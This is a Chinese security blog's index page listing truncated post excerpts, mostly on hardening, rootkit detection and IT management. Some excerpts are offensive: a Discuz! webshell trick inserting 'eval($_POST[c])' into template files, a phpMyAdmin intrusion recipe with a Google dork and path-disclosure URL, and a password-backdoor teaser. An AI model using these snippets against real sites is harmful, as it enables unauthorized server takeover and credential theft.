linkboy的博客_网络安全技术(2)

Cisco路由器及交换机安全加固

导读：　　　　Cisco路由器及交换机安全加固　　关键词：Cisco、IOS、信息安全　　根据木桶理论，一个桶能装多少水，取决于这个桶最短的那块木板。具体到信息系统的安全也是一样，整个信息系统的安全程度也取决于信息系统中最薄弱的环节，网络做为信息系统的体，其安全需求的重要性是显而易见的。　　网络层面的安全主要有两个方面，一是数据层面的安全，使用ACL等技术手段，辅助应

交换机

Cisco

路由器

休闲

加固

转载精选 2008-01-30 09:14:00 385 阅读

Discuz! 6 后台拿Shell的方法

如果后台可以在线编辑模板的话，下面的方法就可以拿SHELL了：） 1.后台编辑customfaq(customfaq.lang.php文件) 在 Copy code eval($_POST[c]); 2.后台编辑misc(misc.lang.php文件) 把post_reply_quote对应的内容改为 Copy code ";eval($_

职场

Shell

后台

休闲

Discuz

转载精选 2008-01-29 16:43:00 521 阅读

TrueCrypt v4.3a

TrueCrypt是一款免费，开源的支持Windows Vista/XP/2000 and Linux的绿色虚拟加密磁盘工具，可以在硬盘上创建一个或多个虚拟磁盘，所有虚拟磁盘上的文件都被自动加密，需要通过密码来进行访问。TrueCrypt提供多种加密算法，如AES-256、Blowfish(448-bitkey)、CAST5、Serpent、Triple DES等，其他特性还包括支持FAT32和N

职场

休闲

TrueCrypt

原创 2008-01-28 15:10:00 534 阅读

NetLimiter Pro

随着宽频网络的日益普及,使用P2P类下载软件(如:BT、迅雷、eDonkey、eMule..等等)的人越来越多,但是在使用此类软件时,通常会因他们的高速而「榨干」了我们有限的带宽,其他需要透过网络来联机的应用程序就几乎动弹不得了!有时想一边下载一边浏览网页都不行,蜗牛般的页面打开速度和极高速的文件下载速度总是让电脑使用者在一旁哭笑不得...NetLimiter 是一款运行在Windows 98/9

职场

Pro

休闲

NetLimiter

原创 2008-01-26 17:31:00 691 阅读

见过的最详强的讲ESP定律脱壳（推荐）

导读：　　　　FROM: poptown.gamewan.com/bbs 　　　　E-MAIL：meila2003@163.com 　　　　　　　1.前言　　　　在论坛上看到很多朋友，不知道什么是ESP定律，ESP的适用范围是什么，ESP定律的原理是什么，如何使用ESP定律？看到了我在“”调查结果发现,大家对ESP定律很感兴

定律

脱壳

ESP定律手工脱壳步骤

ESP定律手工脱壳步骤第一步：查壳第二步：用OD载入。第三步：按F8单步向下走，注意，当右边的ESP（堆栈指针寄存器），和EIP（　　　　指令指针寄存器）同时变红时，就停下。第四步：记下ESP地址，并在左下角的Commanc中输入　dd　ESP所对应的地址。　　　　并回车。第五步：在数值下面单击右键--断点----硬件访问---WO

定律

脱壳

休闲

手工

ESP

原创 2008-01-23 10:42:00 2285 阅读

windows 再暴输入法安全风险

windows 再暴输入法安全风险受影响系统： Microsoft Windows xp Microsoft Windows Server 2003 SP2 Microsoft Windows vista 内容： windows操作系统在未登陆状态，只能切换系统自带输入法。在特殊情况下可导致第三方输入法被启用，而绕过登陆验证。解决方案:谨慎使用，或删除第三方

职场

输入法

windows

风险

休闲

原创 2008-01-16 20:52:00 759 阅读

ITIL的局限性

由于公司建设ITSM系统的需要，开始接触ITIL理论，学习的来源多来自于一些文档、书籍及网上的资料，随着理解的深入，越发觉得ITIL有相当的局限性，尤其当公司人人对ITIL奉为圣旨时，就更加担心我们自身会走入一个误区，我总相信没有一种管理理论可以为一个公司带来质的飞跃，对所谓的流行理论，我个人一直抱有相对冷淡的立场，比如近来喊得比较多的蓝海战略之类，其实本没有任何新意，德鲁克在五十年前就已提出来了

职场

ITIL

休闲

局限性

转载精选 2008-01-15 14:49:00 687 阅读

ITIL之流程管理

流程管理　　流程管理　　每一个组织都希望实现其愿景、使命、目标和政策，这就意味着需要进行恰当的活动。以餐馆为例，恰当的活动包括购买蔬菜、记账、订购佐料、接待客人、清理桌子、刨土豆皮以及煮咖啡等。　　在这样一个毫无规律的列表下，有些活动可能会被漏掉，我们也很容易迷惑。因此，将这些活动按一定的结构组织起来是一个很好的主意。最好是，它们的组织方式让我们容易看出每组活动对组织目标的贡献，

职场

管理

ITIL

休闲

流程

转载精选 2008-01-15 14:48:00 1019 阅读

软件漏洞分析入门_7_案例

通过一周多的基础教学，相信学完前面6讲的朋友们已经初步掌握了缓冲区溢出的最基本原理，我称之为初级+出门。我们仍然缺少的关于栈溢出的基础知识包括： 1.如何灵活的选取跳转指令（跳板） 2.如何灵活的布置缓冲区，把shellcode摆放在恰当的位置 3.如何在shellcode中动态定位windows API。 4.如何利用淹没S.E.H劫持进程，

软件

职场

漏洞

入门

休闲

原创 2008-01-14 21:02:00 1407 阅读

软件漏洞分析入门_4

导读：　　第4讲初级栈溢出C 　　To be the apostrophe which changed “Impossible” into “I’m possible” 　　—— failwest 　　没有星星的夜里，我用知识吸引你　　上节课没有操练滴东西，不少蠢蠢欲动的同学肯定已经坐不住

软件

职场

漏洞

入门

休闲

原创 2008-01-14 20:19:00 822 阅读

《Google Adsense的秘密》第十章：如何在互联网社区中应用AdSense

通过论坛、留言板和讨论组来将你的AdSense收入最大化！在第8章，我们讨论了如何通过博客来创造收入，不过博客当然不是互联网上唯一的内容，也当然不是唯一可以应用AdSense的网站类型。在一个活跃的互联网社区里，大部分内容都是用户自己创造的。你基本上很难控制网页的关键词或者主题，往好的一面说，你的AdSense很可能会给你带来某些惊喜。（准备好候补广告，以防公益性广告的出现）被动

Google

互联网

秘密

休闲

AdSense

原创 2008-01-01 08:25:00 496 阅读

Rootkit Hunter PS效果不是太好。看经验了。

中文名叫”Rootkit猎手”, 可以发现大约58个已知的rootkits和一些嗅探器和后门程序. 它通过执行一系列的测试脚本来确认你的机器是否已经感染rootkits. 比如检查rootkits使用的基本文件, 可执行二进制文件的错误文件权限, 检测内核模块等等. Rootkit Hunter由Michael Boelen开发, 是开源(GPL)软件. 　　安装Roo

Rootkit

经验

效果

休闲

Hunter

原创 2007-12-26 10:39:00 912 阅读

入侵监测系统的构建（chkrootkit ）

　所谓rootkit，是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉，通过这类工具，入侵者建立了一条能够入侵系统，或者说对系统进行实时控制的途径。所以，我们用自由软件(开放源代码)chkrootkit来建立入侵监测系统，以保证对系统是否被安装了rootkit进行监测。　　chkrootkit在监测rootkit是否存在的过程中，需要使用到一些操作系统本身的命令。但不排

职场

构建

休闲

监测系统

chkrootkit

原创 2007-12-26 10:13:00 606 阅读

入侵监测系统的构建（chkrootkit ）

　所谓rootkit，是一类入侵者经常使用的工具。这类工具通常非常的隐秘、令用户不易察觉，通过这类工具，入侵者建立了一条能够入侵系统，或者说对系统进行实时控制的途径。所以，我们用自由软件(开放源代码)chkrootkit来建立入侵监测系统，以保证对系统是否被安装了rootkit进行监测。　　chkrootkit在监测rootkit是否存在的过程中，需要使用到一些操作系统本身的命令。但不排

职场

构建

休闲

监测系统

chkrootkit

原创 2007-12-26 10:13:00 271 阅读

yahoo.cn邮箱foxmail收发攻略

yahoo.cn首推了全球的第一个无限量免费邮箱，yahoo邮箱在业内也算不错的。我最近也申请了一个yahoo.cn邮箱。为了方便，还是想在Foxmail里收发邮件，但是设置了半天，就是使用不了，老是提示输入密码。经过半天的摸索，终于解决！成功！把经验写出来，以方便大家使用。　　第一步：yahoo.cn邮件默认的是没有开启POP和SMTP功能的，这就使每次登录网站收发信变得很不方便，开启@y

foxmail

邮箱

攻略

yahoo

收发

原创 2007-12-26 08:55:00 10000+阅读

如何对PHP程序中的常见漏洞进行攻击（上）

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au/studyinscarlet.txt找到。　　由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 321 阅读

【转】如何对PHP程序中的常见漏洞进行攻击（下）

正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。　　最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发

PHP

攻击

程序

漏洞

休闲

转载精选 2007-12-19 21:06:00 487 阅读

要将 Apache 及 PHP 的版本隐藏，可以用以下方法

Apache: 　　开启 httpd.conf，加入以下两行: 　　QUOTE: 　　ServerTokens ProductOnly 　　ServerSignature Off 　　PHP: 　　隐藏 PHP 版本就是隐藏 "X-Powered-By: PHP/5.1.2-1+b1" 这个，开启 php.ini，加入: 　　QUOTE: 　　e

PHP

职场

Apache

隐藏

休闲

原创 2007-12-14 21:11:00 667 阅读

建立一个带宽、线程可控的下载型WEB网站

　一、前言　　这种配置的WEB网站初步实现了IP线程和线程流量的管理，用的linux版本是RedHat AS 4.2。　　二、所需要的软件及其版本　　httpd-2.0.54.tar.gz 　　mysql-4.1.18.tar.gz 　　php-4.4.2.tar.gz 　　ZendOptimizer-2.6.2-linux-glibc21-i386.tar.gz

下载

WEB

线程

带宽

可控

原创 2007-12-14 21:00:00 1095 阅读

EMOS 1.2 的功能扩展（第五部分）

EMOS 1.2 的功能扩展（第五部分），这一部分主要讲述安装 Spambreaker 程序。－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－－ Spambreaker 工作原理 spambreaker 在工作时启动一个网关进程，负责处理邮件过滤，病毒查杀和邮件监控，在配置上，Spambreaker 的配置灵活，可以和后台的邮件服务器装在同一

职场

功能

休闲

EMOS

原创 2007-12-14 20:49:00 1233 阅读

EMOS 1.2 的功能扩展（第三部分）

EMOS 1.2 的功能扩展（第二部分），主要是安装 MailScanner ，Spamassassin ，以及所需要的其他模块程序。其中主要程序的版本为： SpamAssassin-3.1.8 MailScanner-4.58.9-1 1）下载已经制作好的一体化安装包。注意：安装包中的安装脚本会先将 EMOS 1.2 中已安装好的 amavisd-new ，clam

职场

功能

休闲

EMOS

原创 2007-12-14 20:46:00 699 阅读

PhpMyAdmin 入侵

google 搜索 Runtime Information inurl:phpmyadmin 1.如何拿到登陆密码. 自己想办法 2.访问 : http://url/phpmyadmin/libraries/select_lang.lib.php 得到物理路径. 3.选择一个Database.运行以下语句. ----start code--- Create TABLE a (c

职场

PhpMyAdmin

休闲

原创 2007-12-12 21:10:00 1401 阅读

域名停放指南

域名停放服务能为您带来什么好处？　　域名停放服务可以让您利用闲置的域名赚钱，而且不需要您建立自己的网站，为您带来一定收益的同时增加域名出售转让的机会。　　哪些域名可以应用于域名停放服务？　　一般域名停放服务主要是利用域名带来的访问者达到广告点击收益的，所以一般情况下要求您所持有的域名有一定的访问者（流量）。能带来流量的域名包括：带有极佳关键词的域名、被搜索引擎收录的域名、原来建过

职场

域名

指南

休闲

转载精选 2007-12-10 15:00:00 10000+阅读

通过设定OpenSSH账户登录　避免恶意攻击

前面我们讨论了如何《保护SSH免受强力口令破解攻击》。今天继续讨论如何限制用户的登录。OpenSSH包括许多用途广泛的并且十分流行的程序。无论是作为客户端或服务器，其广泛性和SSH的实用性，无疑都使SSH成为一些公共的攻击目标。由此导致的结果是，人们开发了许多工具用以对付一些常见的强力攻击企图。　　然而，这些攻击不仅仅会转换为一种恼人的东西，更是一种对日志文件空间的浪费。对于刚开始对付这种攻

攻击

账户

登录

恶意

OpenSSH

原创 2007-12-05 21:12:00 611 阅读

终端服务器超出最大允许连接数的解决办法

服务器终端服务器超出最大允许连接数时，以前考虑用冷启动服务器，但这样必须跑一趟机房，最近发现最好的办法就是在“运行”命令行里输入：mstsc /console /v:你的服务器IP:远程端口，测试有效。

职场

解决

办法

休闲

终端服务器

原创 2007-11-25 18:30:00 683 阅读

通用密码后门

其实这些东西我很早就做出来用了，而且效果还不错，目前没有一个管理员发现。　　以下程序只在winxpsp2中文版上测试　　 #include 　　#include 　　#include "windows.h" 　　#include "wincrypt.h"

密码

职场

休闲

后门

原创 2007-11-25 13:01:00 1062 阅读

Arp反欺骗策略

职场

Arp

欺骗

休闲

转载精选 2007-11-20 16:29:00 373 阅读

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

好久不碰技术方面的东西，今天在ChinaCISSP上看到一篇讨论银行主机安全的帖子，心里觉得痒痒的，决定发表一点点想法，谁知道话匣子打开了越说越多，竟然鸡零狗碎扯了一通，后来不舍得丢弃，就把他记录在自己的blog里。] 其实作为银行这样的公司，他们对于IT系统的依赖以及这些系统地对外开放性决定了他们需要比一般企业要多花更多的精力来保护他们的IT系统。而从技术层面来讲，IT系统中间最容易出问题又最

系统

银行

网络安全

老三样

断想

转载精选 2007-11-07 10:40:00 726 阅读

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

在BBS上看到有人转贴的一篇评价COSO的文章，一口气看完，觉得文采、分析都非常有特点，是我喜欢的类型 :) 故转贴之~~~~ 文章有点长，帮忙总结一下中心思想:) 文章作者主要想说明 CPA为了最大化自己的利益，制定出的COSO框架存在不少缺陷，一是内部控制的范围不够宽，没有包括本应是内部控制一部分的战略规划、风险管理和纠正行为。二是内部控制的目标从范围和内容上都不够准确，范围上来说缺少对资产

信息安全

框架

脑袋

COSO

屁股

转载精选 2007-11-07 10:39:00 762 阅读

官方博客	全部文章	热门标签	班级博客
了解我们	网站地图	意见反馈

鸿蒙开发者社区	51CTO学堂
51CTO	软考资讯

51CTO博客

linkboy

Cisco路由器及交换机安全加固

Discuz! 6 后台拿Shell的方法

TrueCrypt v4.3a

NetLimiter Pro

见过的最详强的讲ESP定律脱壳（推荐）

ESP定律手工脱壳步骤

windows 再暴输入法安全风险

ITIL的局限性

ITIL之流程管理

软件漏洞分析入门_7_案例

软件漏洞分析入门_4

《Google Adsense的秘密》第十章：如何在互联网社区中应用AdSense

Rootkit Hunter PS效果不是太好。看经验了。

入侵监测系统的构建（chkrootkit ）

入侵监测系统的构建（chkrootkit ）

yahoo.cn邮箱foxmail收发攻略

如何对PHP程序中的常见漏洞进行攻击（上）

【转】如何对PHP程序中的常见漏洞进行攻击（下）

要将 Apache 及 PHP 的版本隐藏，可以用以下方法

建立一个带宽、线程可控的下载型WEB网站

EMOS 1.2 的功能扩展（第五部分）

EMOS 1.2 的功能扩展（第三部分）

PhpMyAdmin 入侵

域名停放指南

通过设定OpenSSH账户登录　避免恶意攻击

终端服务器超出最大允许连接数的解决办法

通用密码后门

Arp反欺骗策略

【信息安全】怎样保证银行的IT系统安全--网络安全老三样的断想

【信息安全】屁股决定脑袋的COSO内控框架，一篇对COSO的趣评

欢迎